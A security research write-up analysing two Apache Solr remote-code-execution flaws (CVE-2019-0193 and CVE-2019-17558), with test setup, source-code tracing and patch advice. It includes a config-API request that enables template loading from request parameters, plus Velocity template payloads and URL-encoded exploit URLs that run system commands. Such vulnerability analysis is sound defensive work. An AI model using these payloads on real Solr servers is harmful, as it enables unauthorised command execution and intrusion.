Not long ago, researchers have discovered two severe vulnerabilities in Apache Solr, a popular open-source full-text search platform. The first bug relates to incorrect handling of Velocity templates, while the second one originates from the DataImportHandler module. Their exploitation enables the attacker to execute commands remotely; therefore, both vulnerabilities must be treated as critical.
Solr is written in Java and based on Apache Lucene search engine. Its main features include full-text search, hit highlighting, faceted search, dynamic clustering, etc. Thanks to its scalability, Solr has quickly become a popular search engine.
The first vulnerability, CVE-2019-17558, originates from the possibility to override the configuration and enables the attacker to use custom templates and execute arbitrary system commands in these templates. The bug affects Apache Solr versions from 5.0.0 to 8.3.1.
The second vulnerability, CVE-2019-0193, is contained in the DataImportHandler module. The attacker may deliver malicious payload in the dataConfig
parameter by making a GET request to the function that imports database configurations. This bug was discovered by Michael Stepankin, a security researcher at Veracode. The vulnerability affects Apache Solr versions up to 8.2.0.
Test system
First, I have to deploy a system to test the bugs. I will use Apache Solr version 8.1.1 vulnerable to both exploits. As usual, the research can be carried out in two ways. The first variant involves a precrafted Docker container. It is suitable if you don’t want to spend time and effort on debugging and examine the Solr internal structure in detail. If so, use the vulhub repository. All you need are twodocker-compose.xml
files: for CVE-2019-0193 and for CVE-2019-17558. Save them in separate folders and run using the command:
docker-compose up -d
The second variant of the test system (the one I am going to use) is different. Frankly speaking, it’s not that sophisticated. First, download the required Solr version (solr-8.1.1-src.tgz) from the official web site. Then unpack the archive and switch to the bin
directory. Now, to launch the server, all you have to do is execute the solr.cmd
script for Windows or solr
for Linux and macOS.
solr start
The server is deployed on port 8983.
Aside from the test system, I will also need a debugging mechanism, so, I stop Solr for now.
solr stop -all
I will use IntelliJ IDEA for debugging. First, I generate the environment using the Ant utility.
ant ivy-bootstrap
ant idea
Then I switch to the solr
folder and execute one more command:
ant server
After the successful execution of the above commands, I open a project in IDEA. Time to specify the server deployment parameters. For that purpose, I am going to add a new remote debug configuration. I specify the port and select server
as module classpath
.
Note the string in the field “Command line arguments for remote JVM”. It should be added as an argument to the command that launches the server.
solr start -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8983"
I launch the debugger, and the test system is ready.
Time to create two test core instances required to analyze the vulnerability. I will use the example-DIH
config to test the bug contained in DataImportHandler
.
solr create_core -c test -d ../example/example-DIH/solr/db
The bug related to the template handler can be analyzed using the default config.
solr create_core -c vel
I will examine the vulnerabilities in chronological order.
Bug in DataImportHandler
In many search apps, the content to be indexed is kept in a structured data storage, e.g. in a relational database management system (DBMS). DataImportHandler (DIH) provides a mechanism that imports the content of such a data storage and indexes it. It includes a function that sends the entire DIH configuration with a single request containing the dataConfig
parameter. The DIH debug mode allows convenient debugging of this config.
However, a DIH config may contain scripts, and this creates a potential attack vector. To be specific, this allows to execute arbitrary code. According to the ScriptTransfer documentation, by default, transformer functions are written in JavaScript; however, it is possible to inject into them pieces of code written in Java.
It also does matter how the created transformer is called.
Using a trivial method, getRuntime().exec()
, you can create the body of an rce
function able to execute any code.
But the question is: in what context can this function be called? This operation requires a source of valid data. I don’t want to spend time on database creation; therefore, I review the documentation again. Fortunately, DataImportHandler
supports plenty of various data source, for instance, URLDataSource that receives data from a certain URL.
I will use PlainTextEntityProcessor as a data handler (PlainTextEntityProcessor reads the content of the plainText
field in the data source). In fact, this is not important for the testing purposes; what is important is that I am going to use my handmade rce
function as a transformer.
Using the above code, I get the entire content of the page http://abc.com/
and then apply the rce
function to it.
I enable the DIH configuration debug mode in the DataImportHandler module and send to it the generated payload. Then I intercept this request andl see that the configuration data are transmitted in the dataConfig
parameter.
I set a breakpoint at the ScriptTransformer
initialization method (org.apache.solr.handler.dataimport.ScriptTransformer#initEngine
) in the debugger…
org.apache.solr.handler.dataimport.ScriptTransformer#initEngine
…and see that transformers are written in JavaScript by default. The engine that parses the JS code is called Nashorn.
/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer {
...
65: private void initEngine(Context context) {
66: String scriptText = context.getScript();
67: String scriptLang = context.getScriptLanguage();
...
72: ScriptEngineManager scriptEngineMgr = new ScriptEngineManager();
73: ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang);
...
86: try {
87: scriptEngine.eval(scriptText);
According to the documentation, Nashorn allows to address standard Java packets and classes.
Then the code execution passes to…
org.apache.solr.handler.dataimport.ScriptTransformer#transformRow
…and this is where my function is called.
/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer {
...
48: @Override
49: public Object transformRow(Map row, Context context) {
50: try {
51: if (engine == null)
52: initEngine(context);
53: if (engine == null)
54: return row;
55: return engine.invokeFunction(functionName, new Object[]{row, context});
This is how the attacker may execute arbitrary commands in the system. Of course, this is a severe breach in the security; therefore, starting from version 8.2.0, Apache Solr does not allow direct uploads from the dataConfig
parameter via the web interface. To enable this method, you now have to set the value of enable.dih.dataConfigParam
to true
.
Vulnerability in the Velocity engine
To exploit this vulnerability, the attacker must have access to the Admin API that allows to change the configuration of the existing core and to enable the params.resource.loader.enabled
parameter in VelocityResponseWriter
. This, in turn, makes possible the transmission of templates in request parameters. By default, this option is disabled.
/solr-8.1.1/solr/server/solr/vel/conf/solrconfig.xml
1293:
1296:
1297: ${velocity.template.base.dir:}
1298: ${velocity.solr.resource.loader.enabled:true}
1299: ${velocity.params.resource.loader.enabled:false}
1300:
First, I get the list of all instances by making the following request to the API.
http://solr.vh:8983/solr/admin/cores?indexInfo=false&wt=json
Such a list will be very useful in real-life situations.
The vel
core is of utmost interest: I have specially created it for testing purposes. Now, let’s examine the web server configuration file, web.xml
.
/solr-8.1.1/solr/webapp/web/WEB-INF/web.xml
25:
26:
27: SolrRequestFilter
28: org.apache.solr.servlet.SolrDispatchFilter
...
40:
41: SolrRequestFilter
42: /*
43:
All requests sent to the server pass through the filter SolrRequestFilter
declared as the org.apache.solr.servlet.SolrDispatchFilter
class. According to the Config API manual, to change the properties of a core, I have to send a request to
. Each API endpoint has its own handlers. Based on the documentation, SolrConfigHandler is behind the URL
. Let’s examine the body of this class. The handleRequestBody
method handles the sent request.
/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
101: public class SolrConfigHandler extends RequestHandlerBase implements SolrCoreAware, PermissionNameProvider {
...
124: @Override
125: public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
126:
127: RequestHandlerUtils.setWt(req, CommonParams.JSON);
128: String httpMethod = (String) req.getContext().get("httpMethod");
129: Command command = new Command(req, rsp, httpMethod);
...
141: command.handleGET();
If you make an ordinary GET request to this endpoint, then handleGET
is called, and the current core configuration is restored. In that configuration, the params.resource.loader.option.enabled
option is set to false
.
/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
158: private class Command {
...
179: private void handleGET() {
180: if (parts.size() == 1) {
181: //this is the whole config. sent out the whole payload
182: resp.add("config", getConfigDetails(null, req));
...
258: private Map getConfigDetails(String componentType, SolrQueryRequest req) {
259: String componentName = componentType == null ? null : req.getParams().get("componentName");
260: boolean showParams = req.getParams().getBool("expandParams", false);
261: Map map = this.req.getCore().getSolrConfig().toMap(new LinkedHashMap<>());
262: if (componentType != null && !SolrRequestHandler.TYPE.equals(componentType)) return map;
263: Map reqHandlers = (Map) map.get(SolrRequestHandler.TYPE);
264: if (reqHandlers == null) map.put(SolrRequestHandler.TYPE, reqHandlers = new LinkedHashMap<>());
265: List plugins = this.req.getCore().getImplicitHandlers();
266: for (PluginInfo plugin : plugins) {
267: if (SolrRequestHandler.TYPE.equals(plugin.type)) {
...
269: reqHandlers.put(plugin.name, plugin);
...
273: if (!showParams) return map;
In the browser window, I see the server’s response in the JSON format.
To change the existing configuration, I have to make a POST request. This request is processed using the handlePOST
method. So, I set a breakpoint at its call and send a request to change the Velocity engine’s configuration.
POST /solr/vel/config HTTP/1.1
Host: solr.vh:8983
Content-Type: application/json
Content-Length: 0
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
124: @Override
125: public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
...
128: String httpMethod = (String) req.getContext().get("httpMethod");
129: Command command = new Command(req, rsp, httpMethod);
...
135: try {
136: command.handlePOST();
Solr processes the body of the request and extracts the commands transmitted with it. In this particular case, there is only one command: update-queryresponsewriter
.
/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
332: private void handlePOST() throws IOException {
333: List ops = CommandOperation.readCommands(req.getContentStreams(), resp.getValues());
...
344: ConfigOverlay overlay = SolrConfig.getConfigOverlay(req.getCore().getResourceLoader());
345: handleCommands(opsCopy, overlay);
Then the handleCommands
method comes into play. It breaks the transmitted string by the minus symbol, thus, obtaining the name of the command and name of the module (plugin) this command must be applied to.
/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
453: private void handleCommands(List ops, ConfigOverlay overlay) throws IOException {
454: for (CommandOperation op : ops) {
455: switch (op.name) {
...
468: default: {
469: List pcs = StrUtils.splitSmart(op.name.toLowerCase(Locale.ROOT), '-');
...
473: String prefix = pcs.get(0);
474: String name = pcs.get(1);
475: if (cmdPrefixes.contains(prefix) && namedPlugins.containsKey(name)) {
476: SolrConfig.SolrPluginInfo info = namedPlugins.get(name);
If such a module is found, then its configuration is updated with the data transmitted in the request. UpdateNamedPlugin
performs this operation.
/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
480: overlay = updateNamedPlugin(info, op, overlay, prefix.equals("create") || prefix.equals("add"));
...
522: private ConfigOverlay updateNamedPlugin(SolrConfig.SolrPluginInfo info, CommandOperation op, ConfigOverlay overlay, boolean isCeate) {
523: String name = op.getStr(NAME);
524: String clz = info.options.contains(REQUIRE_CLASS) ? op.getStr(CLASS_NAME) : op.getStr(CLASS_NAME, null);
525: op.getMap(DEFAULTS, null);
526: op.getMap(PluginInfo.INVARIANTS, null);
527: op.getMap(PluginInfo.APPENDS, null);
528: if (op.hasError()) return overlay;
529: if (!verifyClass(op, clz, info.clazz)) return overlay;
530: if (pluginExists(info, overlay, name)) {
...
535: return overlay.addNamedPlugin(op.getDataMap(), info.getCleanTag());
After checking all options, Solr saves the updated configuration and passes the control to the persistConfLocally
method.
/solr-8.1.1/solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java
494: SolrResourceLoader loader = req.getCore().getResourceLoader();
...
504: SolrResourceLoader.persistConfLocally(loader, ConfigOverlay.RESOURCE_NAME, overlay.toByteArray());
Important: Solr does not override the existing configuration file, but creates a new one: configoverlay.json
. This is an overlay above the main configuration file: the program reads the main config first, and then it reads configoverlay.json
. The sequential load allows to change settings only for the selected modules.
888: public static void persistConfLocally(SolrResourceLoader loader, String resourceName, byte[] content) {
889: // Persist locally
890: File confFile = new File(loader.getConfigDir(), resourceName);
891: try {
892: File parentDir = confFile.getParentFile();
...
900: try (OutputStream out = new FileOutputStream(confFile);) {
901: out.write(content);
Voila! In the updated configuration, params.resource.loader.enabled
is set to true
.
Prior to the exploitation, let’s briefly discuss the specific features of Java and Velocity templates.
Similar to many Java apps, Solr uses a 3-tier app architecture: Presentation Layer, Application Layer, and Data Layer. Each layer can be accessed independently, has a high autonomy degree, and consists of certain components. For instance, the two most commonly used Java frameworks are Struts2 and Spring MVC. They make possible to implement not only the classical Model-View-Controller (MVC) design pattern, but other, more flexible, concepts as well.
From the vulnerability exploitation perspective, only the Presentation Layer that employs various template engines is of interest to me. One of such engines is Velocity. Unlike ordinary static HTML pages, templates allow using a simple language to address objects defined in Java code. This simplifies the development of more advanced interfaces. In addition, Velocity enables UX designers and application logic developers to write different sections of the code independently and work in parallel. Velocity separates the Java code from the web page, thus, simplifying the subsequent site maintenance.
Now it is time for practical work. I create a simple Velocity template…
helloworld.vm
Hello ${name}! Welcome to Velocity!
…and write code for it.
HelloWorld.java
import java.io.StringWriter;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeConstants;
import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;
public class HelloWorld {
public static void main( String[] args ) throws Exception {
/* Initializing the engine */
VelocityEngine ve = new VelocityEngine();
ve.setProperty(RuntimeConstants.RESOURCE_LOADER, "classpath");
ve.setProperty("classpath.resource.loader.class", ClasspathResourceLoader.class.getName());
ve.init();
/* Getting the template body */
Template t = ve.getTemplate( "helloworld.vm" );
/* Creating the context and declaring variables */
VelocityContext context = new VelocityContext();
context.put("name", "WORLD");
/* Rendering in StringWriter */
StringWriter writer = new StringWriter();
t.merge( context, writer );
/* Printing results to stdout */
System.out.println( writer.toString() );
}
}
After the execution of this file, the following string appears in the console: “Hello WORLD! Welcome to Velocity!”. In other words, the value of the name
variable defined in the code has been passed to the template.
Not only can variables defined in the code be passed to the template, but also initialized directly in the template.
helloworld.vm
#set($var="VARIABLE")
Hello ${name}! Welcome to Velocity!
It's ${var} from template.
Even classes can be called using a simple trick. Let’s, for instance, launch the calculator again.
helloworld.vm
#set($t="any")
#set($rnt=$t.class.forName("java.lang.Runtime"))
#set($ex=$rnt.getRuntime().exec('calc'))
$ex.waitFor()
Now everything is ready. All I have to do is call this template via Solr. For that purpose, I will use the select
request.
http://solr.vh:8983/solr/vel/select?q=any
By default, the result is returned in the JSON format. I can change this by sending the desired format type for the response to my request (response writer) in the wt parameter. I specify velocity
here.
http://solr.vh:8983/solr/vel/select?q=any&wt=velocity
/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
135: public class HttpSolrCall {
...
785: protected QueryResponseWriter getResponseWriter() {
786: String wt = solrReq.getParams().get(CommonParams.WT);
787: if (core != null) {
788: return core.getQueryResponseWriter(wt);
789: } else {
790: return SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt,
791: SolrCore.DEFAULT_RESPONSE_WRITERS.get("standard"));
792: }
793: }
I don’t have the /select.vm
template; therefore, the server returns an error.
But I don’t really need it because I enabled the possibility to transmit a template directly in the request body. To do so, I go back to the request handler (i.e. SolrDispatchFilter
).
/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java
092: public class SolrDispatchFilter extends BaseSolrFilter {
...
342: public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
343: doFilter(request, response, chain, false);
...
346: public void doFilter(ServletRequest _request, ServletResponse _response, FilterChain chain, boolean retry) throws IOException, ServletException {
347: if (!(_request instanceof HttpServletRequest)) return;
348: HttpServletRequest request = closeShield((HttpServletRequest)_request, retry);
349: HttpServletResponse response = closeShield((HttpServletResponse)_response, retry);
...
394: HttpSolrCall call = getHttpSolrCall(request, response, retry);
395: ExecutorUtil.setServerThreadFlag(Boolean.TRUE);
396: try {
397: Action result = call.call();
The control has been transferred to the org.apache.solr.servlet.HttpSolrCall#call
method.
/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
175: public HttpSolrCall(SolrDispatchFilter solrDispatchFilter, CoreContainer cores,
176: HttpServletRequest request, HttpServletResponse response, boolean retry) {
...
468: public Action call() throws IOException {
A little bit later, org.apache.solr.servlet.HttpSolrCall#writeResponse
is called.
/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
519: HttpServletResponse resp = response;
...
535: SolrQueryResponse solrRsp = new SolrQueryResponse();
...
556: QueryResponseWriter responseWriter = getResponseWriter();
...
558: writeResponse(solrRsp, responseWriter, reqMethod);
ResponseWriter
here is an object belonging to the class VelocityResponseWriter
. It parses and renders the template. First, the template engine is initialized.
/solr-8.1.1/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
827: private void writeResponse(SolrQueryResponse solrRsp, QueryResponseWriter responseWriter, Method reqMethod)
...
849: QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);
/solr-8.1.1/solr/core/src/java/org/apache/solr/response/QueryResponseWriterUtil.java
33: public final class QueryResponseWriterUtil {
34: private QueryResponseWriterUtil() { /* static helpers only */ }
...
43: public static void writeQueryResponse(OutputStream outputStream,
44: QueryResponseWriter responseWriter, SolrQueryRequest solrRequest,
45: SolrQueryResponse solrResponse, String contentType) throws IOException {
...
64: Writer writer = buildWriter(out, ContentStreamBase.getCharsetFromContentType(contentType));
65: responseWriter.write(writer, solrRequest, solrResponse);
/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
149: public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {
150: VelocityEngine engine = createEngine(request); // TODO: have HTTP headers available for configuring engine
Let’s see where the template name comes from.
/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
152: Template template = getTemplate(engine, request);
As you can see, the getTemplate
method is implemented. Let’s examine its code in more detail.
/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
357: private Template getTemplate(VelocityEngine engine, SolrQueryRequest request) throws IOException {
358: Template template;
359:
360: String templateName = request.getParams().get(TEMPLATE);
...
363: String path = (String) request.getContext().get("path");
364: if (templateName == null && path != null) {
365: templateName = path;
...
371: try {
372: template = engine.getTemplate(templateName + TEMPLATE_EXTENSION);
Hmm, looks interesting. Initially, the template name is taken from the request (v.template
parameter).
/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
61: public class VelocityResponseWriter implements QueryResponseWriter, SolrCoreAware {
...
70: public static final String TEMPLATE = "v.template";
If such a parameter is not specified, then path
is used as the template name. Therefore, in this particular case, the server tries to load /select.vm
.
Great, now I can specify any file name to be loaded as a template.
http://solr.vh:8983/solr/vel/select?q=any&wt=velocity&v.template=poc
However, it won’t really help in this particular case because my goal is to execute the specific code. To circumvent this problem, I examine the Velocity engine initialization in more detail.
/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/VelocityResponseWriter.java
149: public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {
150: VelocityEngine engine = createEngine(request); // TODO: have HTTP headers available for configuring engine
...
280: private VelocityEngine createEngine(SolrQueryRequest request) {
281: VelocityEngine engine = new VelocityEngine();
...
311: if (paramsResourceLoaderEnabled) {
312: loaders.add("params");
313: engine.setProperty("params.resource.loader.instance", new SolrParamResourceLoader(request));
314: }
Do you recognize this parameter? Yes, this is exactly the setting I have overwritten in the config.
Then SolrParamResourceLoader
comes into play.
/solr-8.1.1/solr/contrib/velocity/src/java/org/apache/solr/response/SolrParamResourceLoader.java
33: public static final String TEMPLATE_PARAM_PREFIX = VelocityResponseWriter.TEMPLATE + ".";
...
35: private Map templates = new HashMap<>();
36: public SolrParamResourceLoader(SolrQueryRequest request) {
...
43: SolrParams params = request.getParams();
44: Iterator names = params.getParameterNamesIterator();
45: while (names.hasNext()) {
46: String name = names.next();
47:
48: if (name.startsWith(TEMPLATE_PARAM_PREFIX)) {
49: templates.put(name.substring(TEMPLATE_PARAM_PREFIX.length()) + VelocityResponseWriter.TEMPLATE_EXTENSION,params.get(name));
50: }
51: }
52: }
This code takes all parameters from the template; if these parameters start from v.template.
, then they are added to the list of templates. For instance, I make the following request:
http://solr.vh:8983/solr/vel/select?q=any&wt=velocity&v.template=poc&v.template.poc=HELLO!
After the execution of the above code, the templates
variable will contain a template: its name is poc.vm
, while its content is HELLO!
.
Now I have all the tools required to exploit the vulnerability. I create a request. The payload should be URL-encoded before it can be used as an URL. Line breaks can be replaced by spaces. As a result, the code
#set($t="any")
#set($rnt=$t.class.forName("java.lang.Runtime"))
#set($ex=$rnt.getRuntime().exec('calc'))
$ex.waitFor()
is converted into
%23set%28%24t%3D%22any%22%29+%23set%28%24rnt%3D%24t.class.forName%28%22java.lang.Runtime%22%29%29+%23set%28%24ex%3D%24rnt.getRuntime%28%29.exec%28%27calc%27%29%29+%24ex.waitFor%28%29
I put all parts together and build an URL, send it to the server, and see the much-desired calculator.
http://solr.vh:8983/solr/vel/select?q=any&wt=velocity&v.template.%2fselect=%23set%28%24t%3D%22any%22%29+%23set%28%24rnt%3D%24t.class.forName%28%22java.lang.Runtime%22%29%29+%23set%28%24ex%3D%24rnt.getRuntime%28%29.exec%28%27calc%27%29%29+%24ex.waitFor%28%29
In this case, I used the nonexistent /select.vm
as a template. The same result can be achieved if you specify the template name directly in the request. Below is a more advanced exploit displaying the output of the executed command.
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read()))
#end
http://solr.vh:8983/solr/vel/select?q=any&wt=velocity&v.template=poc&v.template.poc=%23set%28%24x%3D%27%27%29%20%23set%28%24rt%3D%24x.class.forName%28%27java.lang.Runtime%27%29%29%20%23set%28%24chr%3D%24x.class.forName%28%27java.lang.Character%27%29%29%20%23set%28%24str%3D%24x.class.forName%28%27java.lang.String%27%29%29%20%23set%28%24ex%3D%24rt.getRuntime%28%29.exec%28%27id%27%29%29%20%24ex.waitFor%28%29%20%23set%28%24out%3D%24ex.getInputStream%28%29%29%20%23foreach%28%24i%20in%20%5B1..%24out.available%28%29%5D%29%20%24str.valueOf%28%24chr.toChars%28%24out.read%28%29%29%29%20%23end
Plenty of similar and even more sophisticated payloads can be found on GitHub.
Video presentation of the vulnerability
Conclusions
The two vulnerabilities described in this article are frequently discovered during audits of corporate environments. These bugs enable attackers to get access to the server, entrench themselves in the network, collect intelligence, and attack the internal network resources.
The Solr developers have already released new secure versions of their product, as well as patches fixing the vulnerabilities in old versions. If you administer such a server, update its software without delay!